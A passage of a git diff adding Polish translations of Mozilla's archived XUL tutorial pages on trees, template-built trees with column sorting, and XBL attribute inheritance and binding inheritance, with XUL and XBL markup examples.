+<p>Użytkownik może wybrać pozycje drzewa klikając na nie myszką lub podświetlając je przy życiu klawiatury. Można wybierać wiele pozycji na raz, przytrzymując klawisz SHIFT lub CTRL, a następnie klikając w kolejny wiersz, jaki chcemy zaznaczyć. W celu uniemożliwienia wielokrotnego zaznaczenia (wyboru), należy umieścić atrybut <code><code id="a-seltype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/seltype">seltype</a></code></code> w drzewie i ustawić jego wartość na <code>single</code>. Dzięki temu użytkownik może dokonać zaznaczenia (wyboru) tylko jednej pozycji w danym momencie.</p>
+<div class="highlight">
+<h4 id="Dodajemy_drzewo_do_przyk.C5.82adu_Znajd.C5.BA_pliki" name="Dodajemy_drzewo_do_przyk.C5.82adu_Znajd.C5.BA_pliki">Dodajemy drzewo do przykładu <code>Znajdź pliki</code></h4>
+<p>Dodajemy drzewo do okna wyszukiwania plików, gdzie są wyświetlane wyniki. Drzewo użyje treści widoku drzewa. Następujący kod powinien zająć miejsce <a href="/pl/Kurs_XUL/Panele_treści#Przyk.C5.82ad_iframe" title="pl/Kurs_XUL/Panele_treści#Przyk.C5.82ad_iframe">iframe</a>.</p>
+<pre class="eval"><span class="highlightred">&lt;tree flex="1"&gt; &lt;treecols&gt; &lt;treecol id="name" label="Nazwa pliku" flex="1"/&gt; &lt;treecol id="location" label="Lokalizacja" flex="2"/&gt; &lt;treecol id="size" label="Rozmiar" flex="1"/&gt; &lt;/treecols&gt; &lt;treechildren&gt; &lt;treeitem&gt; &lt;treerow&gt; &lt;treecell label="mozilla"/&gt; &lt;treecell label="/usr/local"/&gt; &lt;treecell label="2520 bajtów"/&gt; &lt;/treerow&gt; &lt;/treeitem&gt; &lt;/treechildren&gt; &lt;/tree&gt;</span>
+
+&lt;splitter collapse="before" resizeafter="grow"/&gt;
+</pre>
+<p>Dodaliśmy drzewo z trzema kolumnami dla nazwy pliku, lokalizacji i rozmiaru. Druga kolumna będzie dwa razy szersza z powodu większej elastyczności. Pojedynczy wiersz został dodany, by zobrazować, jak wygląda tabela z wierszem. W rzeczywistości, wiersze byłby dodane przez skrypt zależnie od wyników wyszukiwania lub byłby stworzony własny widok do przetrzymania danych.</p>
+<p>Przykład <code>Znajdź pliki</code>: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-trees.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-trees.xul">Podgląd</a></p>
+</div>
+<p>Następnie nauczymy się, jak stworzyć <a href="/pl/Kurs_XUL/Dodatkowe_możliwości_drzewa" title="pl/Kurs_XUL/Dodatkowe_możliwości_drzewa">bardziej zaawansowane drzewa</a>.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Przykłady_XPCOM" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_drzewa">Następny »</a></p>
+</div><p></p>
+<p><span class="comment">Tłumaczenie: PHP.pl</span></p>
+<p> </p>
+
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/drzewa_i_szablony/index.html b/files/pl/mozilla/tech/xul/kurs_xul/drzewa_i_szablony/index.html
new file mode 100644
index 0000000000..628cdad2da
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/drzewa_i_szablony/index.html
@@ -0,0 +1,138 @@
+---
+title: Drzewa i szablony
+slug: Mozilla/Tech/XUL/Kurs_XUL/Drzewa_i_szablony
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Trees_and_Templates
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Szablony" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Źródła_danych_RDF">Następny »</a></p>
+</div> <p></p>
+
+<p>Zawartość artykułu opisuje jak używać szablonów wraz z drzewami.</p>
+
+<h2 id="Dodajemy_.C5.BAr.C3.B3d.C5.82o_danych_do_drzewa" name="Dodajemy_.C5.BAr.C3.B3d.C5.82o_danych_do_drzewa">Dodajemy źródło danych do drzewa</h2>
+
+<p>Kiedy używamy drzewa, często korzystamy z szablonu, aby zbudować jego zawartość, kierując dużą ilością hierarchicznych danych. Używając szablonu z drzewem stosujemy bardzo często podobną składnię z innymi elementami. Aby dodać <code><code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code></code> i atrybut <code><code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code></code> do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code>, który określa źródło danych i węzeł podstawy wyświetla.</p>
+
+<p>Następujący przykład odwołuje się do historii kodu źródłowego:</p>
+
+<pre>&lt;tree datasources="rdf:history" ref="NC:HistoryByDate"
+ flags="dont-build-content"&gt;
+</pre>
+
+<p>Jak opisano w poprzednim temacie, drzewa mogą używać programów do budowy drzew dla generatora szablonów zamiast normalnej zawartości programów do budowy. Oznacza to, że elementy te nie będą utworzone dla każdego wiersza w drzewie, robiąc go bardziej efektywnym. Atrybuty <code><code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code></code> ustawią wartość <code>dont-build-content</code>,jak w przykładzie powyżej, sygnalizując użycie generatora drzew. Jeśli opuszczasz ten atrybut, generator zawartości zostanie użyty. Możesz zobaczyć różnice używając Inspektora Mozilla DOM w drzewie z lub bez flagi.</p>
+
+<p>Jeśli używasz do budowy zamiast budowniczego zawartości, notatki że ta zawartość nie będzie generalnie pobierana do budowy aż do momentu kiedy nie będziesz tego potrzebował. W hierarchicznych drzewach, potomek-dziecko nie będzie brał generowanego tekstu aż węzeł rodzic nie zostanie otwarty przez użytkownika.</p>
+
+<p>W szablonie, jest po jednej <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code></code> dla każdej kolumny w drzewie. Komórki powinny mieć atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> do ustawiania etykiety komórek. Jest to normalne ustawienie własności w RDF, tak więc etykieta jest pobierana z kodu źródłowego.</p>
+
+<h3 id="Template-built_Tree_Example" name="Template-built_Tree_Example">Template-built Tree Example</h3>
+
+<p>Następujący przykład demonstruje zbudowany szablon drzewa, w tym przypadku dla pliku systemowego:</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treetempl_1.xul.txt">Źródła</a></p>
+
+<pre>&lt;tree id="my-tree" flex="1"
+ datasources="rdf:files" ref="file:///" flags="dont-build-content"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="Name" label="Name" primary="true" flex="1"/&gt;
+ &lt;splitter/&gt;
+ &lt;treecol id="Date" label="Date" flex="1"/&gt;
+ &lt;/treecols&gt;
+
+ &lt;template&gt;
+ &lt;rule&gt;
+ &lt;treechildren&gt;
+ &lt;treeitem uri="rdf:*"&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+ &lt;treecell label="rdf:http://home.netscape.com/WEB-rdf#LastModifiedDate"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+ &lt;/rule&gt;
+ &lt;/template&gt;
+&lt;/tree&gt;
+</pre>
+
+<p>W ty miejscu, drzewo zostało utworzone z dwoma kolumnami, dla nazwy i daty pliku. Drzewo powinno zostać wyświetlone jako lista plików w katalogu głównym. Użyto tylko jednej zasady, ale ty możesz dodać inne, jeśli tego potrzebujesz. Tak samo z innymi szablonami, atrybut uri na elemencie wskazuje gdzie ma zacząć generować zawartość. Dwie komórki dostają nazwę i datę z kodu źródłowego i umieszcza ich wartość w etykiecie komórki.</p>
+
+<p>Przykład pokazuje dlaczego atrybut <code>uri</code> staje się użyteczny. Zauważ jak to było na pozycji drzewa w przykładzie, nawet chociaż to nie jest prosty potomek elementu reguły. Potrzebujemy położyć ten atrybut na tych elementach, na których potrzebujemy uzyskać powtórzony kod. Ponieważ nie chcemy wielokrotnego elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code>, nie chcemy to tam położyć. Skutecznie, elementy zewnętrzne (lub powyższe) elementu z atrybutem <code>uri</code> nie są duplikowane podczas gdy elementy z atrybutem <code>uri</code> i elementy wewnątrz są duplikowane dla każdego źródła.</p>
+
+<p>Zaznaczony w obrazku element to potomek - dziecko, który jest umieszczony poniżej elementu z poziomu górnego, który został dodany automatycznie. XUL wie jak dodać element dziecka kiedy szablon lub zasady stanowią wartość elementu drzewa lub elementu menu. Generując elementy drzewa jako zagnieżdżone i konieczne oparte na dostępnych danych RDF.</p>
+
+<div class="float-right"><img alt="Image:rdfoutl1.jpg"></div>
+
+<p>Interesującą partię danych z kodem źródłowym RDF jest w wartości tych zasobów, i edytujesz tylko zasoby decydując kiedy dane są potrzebne. Wyznacza to wartość na jaką głębokość w zasobach hierarchii są nie możliwe do utworzenia aż do nawigacji zasobami poprzez węzeł w drzewie. Stało się to użytecznym dla pewnego kodu źródłowego gdzie dane są dynamicznie możliwie.</p>
+
+<h2 id="Sortowanie_kolumn" name="Sortowanie_kolumn">Sortowanie kolumn</h2>
+
+<p>Jeśli wypróbujesz poprzedzający przykład, moglibyśmy zaznaczyć to w co lista nie jest posortowana. Drzewa które generują dane z kodu źródłowego posiada nieobowiązkową zdolność posortować ich dane. Możemy posortować każdy podnoszący się i obniżający na jakiejkolwiek kolumnie. Użytkownik może zmienić posortowane kolumny i kierunek poprzez kliknięcie nagłówka kolumny. Właściwości sortowania nie są dostępne dla wartości drzew statycznych, chociaż możemy pisać skrypty zawierające dane.</p>
+
+<p>Sortując angażuje trzy atrybuty, które powinny być umieszczone w kolumnach. Pierwszy atrybut, <b>sort</b> powinien być ustawiony na własności klucza sortowania używanego w RDF. Często, może to być użyta taka sama nazwa etykiety w komórce kolumny. Jeśli ustawisz sortowanie na kolumnę, to wtedy będą sortowane w niej dane. Użytkownik może zmienić kierunek sortowania klikając w nagłówek kolumny. Jeśli nie ustawisz atrybutu <b>sort</b> w kolumnie, dane nie mogą być sortowane w tej kolumnie.</p>
+
+<p>Atrybut <code>sortDirection</code> jest używany do ustawienia kierunku w którym kolumny będą sortować domyślnie. Poszczególne możliwe cechy:</p>
+
+<ul>
+ <li>ascending: dane są wyświetlane rosnąco</li>
+ <li>descending: dane są wyświetlane malejąco</li>
+ <li>natural: dane są wyświetlone w rozkazie naturalnym , które znaczy polecenie danych jest przechowywane w kodzie źródłowym RDF.</li>
+</ul>
+
+<p>Atrybut finalny, <code>sortActive</code> powinien być ustawiony na <code>true</code> dla jednej kolumny, jeden którego wybraliśmy będzie sortowany domyślnie.</p>
+
+<p>Chociaż sortowanie działa bez zarzutów i prawidłowo tylko z tamtymi narzędziami, możesz także użyć klasę stylu <code>sortDirectionIndicator</code> w kolumnie, w której będzie ona sortowana. Będzie powodować mały trójkąt pojawiający się nagłówek, który wskazuje kierunek sortowania. Jeśli nie chcesz tego robić, możesz dalej sobie sortować kolumny ale nie uzyska wskazówek dotyczących kierunku aktualnego sortowania.</p>
+
+<p>Poniższy przykład pokazuje zmiany kolumn we wcześniejszym przykładzie poprzez dołączenie extra własności:</p>
+
+<pre>&lt;treecols&gt;
+ &lt;treecol id="Name" label="Name" flex="1" primary="true"
+ class="sortDirectionIndicator" sortActive="true"
+ sortDirection="ascending"
+ sort="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+ &lt;splitter/&gt;
+ &lt;treecol id="Date" label="Date" flex="1" class="sortDirectionIndicator"
+ sort="rdf:http://home.netscape.com/WEB-rdf#LastModifiedDate"/&gt;
+&lt;/treecols&gt;
+</pre>
+
+<h2 id="Sta.C5.82y_rozmiar_kolumn" name="Sta.C5.82y_rozmiar_kolumn">Stały rozmiar kolumn</h2>
+
+<p>Jedna dodatkowa rzeczą możesz chcieć zrobić wytrzymałe kolumny, które są aktualnie sortowane, więc to jest zapamiętywane pomiędzy sesjami. Aby zrobić to, użyjmy atrybutu <code><code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code></code> na każdym <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code> elemencie. Znajduje się tam pięć atrybutów kolumn, które będą upierały się, aby zapisać <b>width (długość)</b> kolumn, kolumna rozkazu, czy kolumna jest jawna, która kolumna jest aktualnie posortowana i sortuje instrukcje. Poniższy przykład pokazuje przykładowe kolumny:</p>
+
+<pre>&lt;treecol id="Date" label="Date" flex="1"
+ class="sortDirectionIndicator"
+ persist="width ordinal hidden sortActive sortDirection"
+ sort="rdf:http://home.netscape.com/WEB-rdf#LastModifiedDate"/&gt;
+</pre>
+
+<p>More details about the <code><code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code></code> attribute will be described in <a href="pl/Kurs_XUL/Trwa%c5%82e_dane">the later section</a>.</p>
+
+<h2 id="Additional_Rule_Attributes" name="Additional_Rule_Attributes">Additional Rule Attributes</h2>
+
+<h3 id="Dodawanie_atrybut.C3.B3w_zasad" name="Dodawanie_atrybut.C3.B3w_zasad">Dodawanie atrybutów zasad</h3>
+
+<p>Tutaj mamy dwa dodatkowe atrybuty, które mogą zostać dodane jako elementy zasad, które pozwolą na określenie pewnych specjalnych okoliczności. Oba atrybuty są typu boolean.</p>
+
+<dl>
+ <dt>iscontainer</dt>
+ <dd>jeśli ten atrybut jest ustawiony na wartość <code>true</code>, następnie zasady dopasują kod źródłowy, który posiada potomka-dziecko. Na przykład, możemy używać zasad aby dopasować foldery zakładek. Jest to wygodny jako kod źródłowy RDF nie potrzebującego wszelkich specjalnych atrybutów wskazujących na to.</dd>
+</dl>
+
+<dl>
+ <dt>isempty</dt>
+ <dd>jeśli ten atrybut jest ustawiony na wartość <code>true</code>, następnie zasady dopasują kod źródłowy tak aby nie posiadać potomka - dziecka.</dd>
+</dl>
+
+<p>Dwa powyższe atrybuty są naprawdę swoimi przeciwieństwami. Zasoby mogą być w zbiornikach i będą puste jako dobre(?). Kiedykolwiek, różnice pochodzą z kodu, to nie będzie zbiornikiem. Na przykład, folder zakładek jest pojemnikiem ale to siła nie może mieć potomka. Kiedykolwiek, pojedyncza zakładka lub separator nie są żadnym pojemnikiem.</p>
+
+<p>Możesz połączyć te dwa elementy z innymi aplikacjami, atrybutami dla określonych zasad.</p>
+
+<p>Następnie, zobaczymy trochę kodu źródłowego dostarczonego przez Mozillę.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Szablony" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Źródła_danych_RDF">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dziedziczenie_atrybutu_xbl/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dziedziczenie_atrybutu_xbl/index.html
new file mode 100644
index 0000000000..88a446e682
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dziedziczenie_atrybutu_xbl/index.html
@@ -0,0 +1,115 @@
+---
+title: Dziedziczenie atrybutu XBL
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dziedziczenie_atrybutu_XBL
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XBL
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/XBL_Attribute_Inheritance
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Treść_anonimowa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_własności">Następny »</a></p>
+</div><p></p>
+
+<p>W tym artykule zobaczymy jak atrybuty mogą być dziedziczone.</p>
+
+<h2 id="Dziedziczenie_atrybut.C3.B3w" name="Dziedziczenie_atrybut.C3.B3w">Dziedziczenie atrybutów</h2>
+
+<p><a href="pl/XBL">XBL</a> pozwala nam na zbudowanie połączonych widgetów podczas ukrywania ich rzeczywistej implementacji. Jednakże z właściwościami wzmiankowanymi dotychczas, anonimowa zawartość jest zawsze tworzona w ten sam sposób. Byłoby to użyteczne do dodawania atrybutów do elementów granicznych które modyfikują wewnętrzne elementy. Na przykład:</p>
+
+<pre class="eval"><b>XUL:</b>
+
+&lt;searchbox/&gt;
+
+<b>XBL:</b>
+
+&lt;binding id="searchBinding"&gt;
+ &lt;content&gt;
+ &lt;xul:textbox/&gt;
+ &lt;xul:button label="Search"/&gt;
+ &lt;/content&gt;
+&lt;/binding&gt;
+</pre>
+
+<p>W tym przykładzie, atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> umieszczono bezpośrednio w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>. Problem z tym jest taki, że etykieta powinna być taka sama za każdym razem, kiedy stosujemy dowiązanie. W tym przypadku byłoby to bardziej pożądane gdyby atrybut mógł być określony w polu wyszukiwania. XBL dostarcza atrybutu <code>inherits</code>, który może być użyty do dziedziczenia atrybutów z elementu granicznego. Powinien być umieszczony w elemencie, który powinien dziedziczyć atrybut z zewnętrznego elementu, w tym przypadku przycisku. Ta wartość powinna być ustawiona jako lista oddzielona przecinkami atrybutów nazwy, których są dziedziczone.</p>
+
+<pre>&lt;xul:textbox xbl:inherits="flex"/&gt;
+&lt;xul:button xbl:inherits="label"/&gt;
+</pre>
+
+<p>Kiedy zawartość jest generowana, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code> korzysta z atrybutu <code>flex</code> pola wyszukiwania a <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> korzysta z atrybutu <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> pola wyszukiwania. Pozwala to elastyczności pola tekstowego i etykiety przycisku być różnymi dla każdego zastosowania dowiązania. Dodatkowo, zmieniając wartość tego atrybutu w polu wyszukiwania skryptem zaktualizujemy również pole tekstowe i przycisk. Możesz dodać atrybut inherits do tylu elementów ile sobie życzysz, dziedzicząc kilka atrybutów.</p>
+
+<p>Zauważ, że atrybut <code>inherits</code> jest umieszczony w przestrzeni nazw XBL, poprzez poprzedzenie go 'xbl:'. Przestrzeń nazw powinna być zadeklarowana gdzieś wcześniej, zazwyczaj w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/bindings" title="bindings">bindings</a></code></code>. Demonstruje to kolejny przykład:</p>
+
+<pre>&lt;bindings xmlns:xbl="http://www.mozilla.org/xbl"
+ xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;xbl:binding id="buttonBinding"&gt;
+ &lt;xbl:content&gt;
+ &lt;xul:button label="OK" xbl:inherits="label"/&gt;
+ &lt;/xbl:content&gt;
+&lt;/xbl:binding&gt;
+</pre>
+
+<p>W tym przykładzie, przycisk dziedziczy atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>, ale ten atrybut jest również podaną wartością bezpośrednio w XBL. Ta technika jest używana do ustawienia domyślnej wartości jeśli atrybuty nie jest obecny przycisk ten odziedziczy atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> z elementu zewnętrznego jednak, jeśli nie ma <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>, będzie podana domyślna wartość <code>OK</code>.</p>
+
+<p>Może być to stosowane tam gdzie dwa wygenerowane elementy muszą dziedziczyć z atrybutu który ma taką samą nazwę. Na przykład, tworząc etykietowane pole tekstowe (pole tekstowe z tekstem opisującym obok niego) z elementami <code><code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code>, etykieta będzie musiała dziedziczyć tekst z atrybutu <code><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></code> a pole tekstowe również będzie dziedziczyło domyślną wartość z atrybutu <code><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></code>. Do rozwiązania tego będziemy musieli użyć innego atrybutu odwzorować go do tego samego. Poniżej to demonstruje:</p>
+
+<pre class="eval"><b>XUL:</b>
+
+&lt;box class="labeledtextbox" title="Enter some text:" value="OK"/&gt;
+
+<b>CSS:</b>
+
+box.labeledtextbox {
+ -moz-binding: url('<a class="external" rel="freelink">chrome://example/skin/example.xml#labeledtextbox'</a>);
+}
+
+<b>XBL:</b>
+
+&lt;binding id="labeledtextbox"&gt;
+ &lt;content&gt;
+ &lt;xul:label xbl:inherits="value=title"/&gt;
+ &lt;xul:textbox xbl:inherits="value"/&gt;
+ &lt;/content&gt;
+&lt;/binding&gt;
+</pre>
+
+<p><code><code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code> dziedziczy atrybut <code><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></code> bezpośrednio. Aby ustawić atrybut <code><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></code> w etykiecie, musimy użyć innej nazwy atrybutu i od wzorować go do tej wartości. Atrybut <code>inherits</code> w etykiecie wykorzystuje atrybut <code>title</code> z etykietowanego pola tekstowego i odwzorowuje go do atrybutu <code><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></code> elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code>. Składnia <code>&lt;inner attribute&gt;=&lt;outer attribute&gt;</code> jest używana do odwzorowania jednego atrybutu do innego. Tu mamy inny przykład:</p>
+
+<pre class="eval"><b>XUL:</b>
+
+&lt;box class="okcancel" oktitle="OK" canceltitle="Cancel" image="happy.png"/&gt;
+
+<b>CSS:</b>
+
+box.okcancel {
+ -moz-binding: url('<a class="external" rel="freelink">chrome://example/skin/example.xml#okcancel'</a>);
+}
+
+<b>XBL:</b>
+
+&lt;binding id="okcancel"&gt;
+ &lt;content&gt;
+ &lt;xul:button xbl:inherits="label=oktitle,image"/&gt;
+ &lt;xul:button xbl:inherits="label=canceltitle"/&gt;
+ &lt;/content&gt;
+&lt;/binding&gt;
+</pre>
+
+<p>Wartość atrybutu <code>oktitle</code> jest odwzorowana do atrybutu <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> pierwszego przycisku. Atrybut <code>canceltitle</code> jest odwzorowany do atrybutu <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> drugiego przycisku. Pierwszy przycisk również dziedziczy atrybut <code><code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code></code> a wynik jest następujący:</p>
+
+<pre>&lt;box class="okcancel" oktitle="OK" canceltitle="Cancel" image="happy.png"&gt;
+ &lt;button label="OK" image="happy.png"/&gt;
+ &lt;button label="Cancel"/&gt;
+&lt;/box&gt;
+</pre>
+
+<p>Zauważ, że atrybuty są powielone z wewnętrznej (anonimowej) zawartości. Zmieniając atrybuty w polu z klasy <code>okcancel</code> będzie automatycznie zmieniana wartość w przycisku. Możesz również do notować, że możemy wymyślić swoje własne nazwy atrybutów. Jest to poprawne w XUL.</p>
+
+<p>W następnym artykule, zobaczymy w jaki sposób <a href="pl/Kurs_XUL/Dodawanie_w%c5%82asno%c5%9bci">dodamy do wiązania własności, metody i zdarzenia</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Treść_anonimowa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_własności">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dziedziczenie_xbl/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dziedziczenie_xbl/index.html
new file mode 100644
index 0000000000..4b6b2f55d1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dziedziczenie_xbl/index.html
@@ -0,0 +1,56 @@
+---
+title: Dziedziczenie XBL
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dziedziczenie_XBL
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XBL
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/XBL_Inheritance
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_funkcji_obsługi_zdarzenia" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Przykład_XBL">Następny »</a></p>
+</div><p></p>
+
+<p>W tym artykule, zobaczymy jak rozszerzyć istniejące definicje języka <a href="pl/XBL">XBL</a>.</p>
+
+<h2 id="Dziedziczenie" name="Dziedziczenie">Dziedziczenie</h2>
+
+<p>Czasami możesz chcieć utworzyć widget XBL, który jest podobny do już istniejącego. Na przykład, powiedzmy, że chcemy utworzyć przycisk w wyskakującym okienku. Jednym sposobem jest utworzenie duplikatu już istniejącego kodu XBL dla naszego przycisku. Jednakże, byłoby lepiej rozszerzyć już istniejący kod przycisku.</p>
+
+<p>Jakiekolwiek wiązanie może być powiększone o następne. Wiązanie - dziecko może dodać właściwości, metody i zdarzenia uchwytów. Wiązanie - potomne będzie miało wszystkie cechy, jakie zdefiniowane są podczas dodawania cech do wiązania, które otrzymuje w wyniku dziedziczenia (i jakieś wiązanie dziedziczy z wyższych wartości drzewa).</p>
+
+<p>Do rozszerzenia istniejącego wiązania, dodaj atrybut rozszerzenia (<code>extends</code>) do tagu <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#binding">binding</a></code></code>. Na przykład, następnie rozszerzenie wiązania tworzy pole tekstowe, które dodaje tekst <span class="nowiki">http://www</span> do początku wpisanej wartości, dzieje się tak, kiedy naciśniemy klawisz F4.</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_xblinherit_1.xml.txt">Źródła</a></p>
+
+<pre>&lt;binding id="textboxwithhttp"
+ extends="chrome://global/content/bindings/textbox.xml#textbox"&gt;
+ &lt;handlers&gt;
+ &lt;handler event="keypress" keycode="VK_F4"&gt;
+ this.value="http://www"+value;
+ &lt;/handler&gt;
+ &lt;/handlers&gt;
+&lt;/binding&gt;
+</pre>
+
+<p>Tutaj XBL powiększa element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code> z języka XUL. URL daje nam atrybut <code>extends</code> powyżej jest powiązany adresem URL z wiązaniem pola tekstowego. To znaczy, że dziedziczy wszystkie wartości i zachowania dostarczone przez wiązanie pola tekstowego. W dodatku, dodajemy uchwyt, który odpowiada na zdarzenie klawisza (keypress).</p>
+
+<h2 id="Automatyczne_uzupe.C5.82nianie_p.C3.B3l_tekstowych" name="Automatyczne_uzupe.C5.82nianie_p.C3.B3l_tekstowych">Automatyczne uzupełnianie pól tekstowych</h2>
+
+<p><span class="comment">poniżej treść już jest ok</span> Przykład powyżej jest podobny do sposobu jak cechy automatycznego uzupełnia pracują w Mozilli. Pola tekstowe, które obsługują automatyczne uzupełnianie jest tylko z jednym wiązaniem XBL, które rozszerza podstawowe pole tekstowych.</p>
+
+<p><a href="pl/XUL/textbox_(Mozilla_-_automatyczne_uzupe%c5%82nianie)">Automatyczne uzupełnianie pól tekstowych</a> dodaje dodatkowy uchwyt zdarzenia, tak, że kiedy adres URL jest wpisywany, to menu będzie się pokazywać prawdopodobnie automatycznie do końca. Możemy też użyć własnych aplikacji. Wystarczy, że utworzymy pole tekstowe wraz z dwoma dodatkowymi atrybutami.</p>
+
+<pre>&lt;textbox type="autocomplete" searchSessions="history"/&gt;
+</pre>
+
+<p>Ustaw <code>type</code> na <code>autocomplete</code>, aby dodać możliwość automatycznego uzupełniania do istniejącego pola tekstowego. Ustaw <code>searchSessions</code>, aby zasygnalizować jaki typ danych szukamy. W tym przypadku, została użyta wartość <code>history</code>, który szuka adresów URL w historii (możemy także użyć wartości <code>addrbook</code>, aby poszukać adresów w książce adresów).</p>
+
+<div class="note">Firefox używa innego mechanizmu automatycznego uzupełniania, niż Mozilla Suite, zobacz <a href="pl/XUL/textbox_(Firefox_-_automatyczne_uzupe%c5%82nianie)">XUL:textbox (Firefox - automatyczne uzupełnianie)</a></div>
+
+<p>W następnym artykule, zobaczymy <a href="pl/Kurs_XUL/Przyk%c5%82ad_XBL">przykład widgetu zdefiniowanego przy pomocy języka XBL</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
